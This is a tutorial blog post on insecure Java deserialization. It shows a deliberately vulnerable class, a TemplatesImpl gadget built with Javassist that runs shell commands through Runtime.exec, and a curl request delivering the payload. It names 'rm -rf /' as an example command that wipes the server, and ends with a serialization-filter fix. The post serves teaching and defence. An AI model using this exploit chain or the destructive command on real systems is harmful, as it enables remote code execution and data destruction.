Insecure Deserialization Explained With Examples In Java
Serialization is a great thing and a revolutionary feature of Java from the early days, but it does have some flaws. Among others, there are serious security issues I want to address in this post.
The problem
A typical example of a security issue is a communication via network using serialized Java objects. When the server is not secured against serialization exploits, it is theoretically possible to execute any command on the server:
client> curl -XPOST -H "Content-Type: application/x-java-serialized-object" http://127.0.0.1:8080/service/toupper --data-binary @exploit.serserver> ls -l /HACKED
-rw-rw-r-- 1 tomas admin 2770 Okt 12 07:40 /HACKED
Oops. This is not good. The command to execute in the exploit is pretty harmless:
touch /HACKED
There are much worse ones:
rm -rf /
The result is impressive:
server> ls -l /
sh: ls: not found
The whole server was erased. Very, very bad.
Let’s take a tour in details of this specific example and its implementation in Java.
The server
The server is implemented with HTTP Invoker provided by Spring framework:
@Bean(name = "/service/toupper")
RemoteExporter exporterServiceRemote() {
var exp = new HttpInvokerServiceExporter();
exp.setServiceInterface(UpperCaseService.class);
exp.setService((UpperCaseService)String::toUpperCase);
exp.setAcceptProxyClasses(false);
return exp;
}
Based on the value of Content-Type
header, the Spring Dispatcher decides to deserialize the request object in expectation of an instance of RemoteInvocation
:
Object obj = ois.readObject();
This is where the exploit is executed on the server side.
The exploit
Crucial is to have a vulnerable class included on the server classpath. There are plenty of such classes in popular libraries, but we will create our own to illustrate the problem from scratch.
We need a class with a generic field (Object) calling a method on this object via reflection when the object is being deserialized:
class Vulnerable implements Serializable {
Object object;
String property;
transient String info;
void readObject(ObjectInputStream ois)
throws Exception {
ois.defaultReadObject();
// doing some reflection here
Method method = object.getClass()
.getMethod("get" + cap(property),
new Class[]{});
info = method.invoke(object, null)
.toString();
}
…
}
The code above calls a getter of the customized property on the held object. If the object is our injected exploit, we can call any method in the getter format on it.
The next step is to create such an exploit. Once again, we can use only classes on the server classpath. One candidate is the TemplatesImpl
class, that comes already with JDK. This class, used for XSL transformations and XML (de)serialization has one very interesting property: it loads new classes dynamically from bytes saved as an attribute of an instance:
loader.defineClass(this._bytecodes[i]);
This code is transitively called from the public method getOutputProperties()
. This is the getter we need! The exploit looks as follows.
First, let’s instance the class:
Then, we stub an instance of Translet
, expected by the TemplatesImpl
:
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(
StubTranslet.class.getName());
Next, we modify the stubbed class to execute our command in a static initializer:
String cmd = "touch /HACKED";
clazz.makeClassInitializer().insertAfter(
"Runtime.getRuntime().exec(\""+cmd+"\");");
The result would look like this, when coded in a standard way:
static {
try {
Runtime.getRuntime()
.exec("touch /HACKED");
} catch (IOException e) { }
}
The reason for using reflection over an ordinary code is to set the command dynamically.
The last step is to set the bytes of the class into the field _bytecodes
:
byte[] bytes = clazz.toBytecode();
setFieldValue(templates,
"_bytecodes", new byte[][]{bytes});
The exploit is ready, we can use it now for our vulnerable object:
TemplatesImpl exploit = createExploit(cmd);
setFieldValue(vulnerable, "object", exploit);
The name of the property must be set to outputProperties
to call the needed method on the exploit:
setFieldValue(vulnerable,
"property", "outputProperties");
After being serialized the exploit can be sent to the server as showed above.
The fix
As this is probably not a desired behavior, we should find a fix for the vulnerability.
The best fix is, of course, not to use deserialization at all. Replace the HTTP Invoker with REST service or similar and the problem will disappear.
When this is not possible, we can control deserialization via serialization filtering. Filtering must be in the form of an allow-list. In our case we need to allow basic classes Class
, Object
and String
, and RemoteInvocation
to make Spring happy:
jdk.serialFilter=java.lang.Class;java.lang.Object;java.lang.String;org.springframework.remoting.support.RemoteInvocation;!*
Very important is the last part !*
that denies all not explicitly listed before.
The deserialization will be rejected with the following message and the exploit won’t be executed anymore:
ObjectInputFilter REJECTED: class com.ttulka.Vulnerable
Of course, the filter must include all classes that are involved in the communication, such as request and response data types.
Source code
The source code for the examples could be found on my GitHub:
This post was inspired by yoserial, a proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization: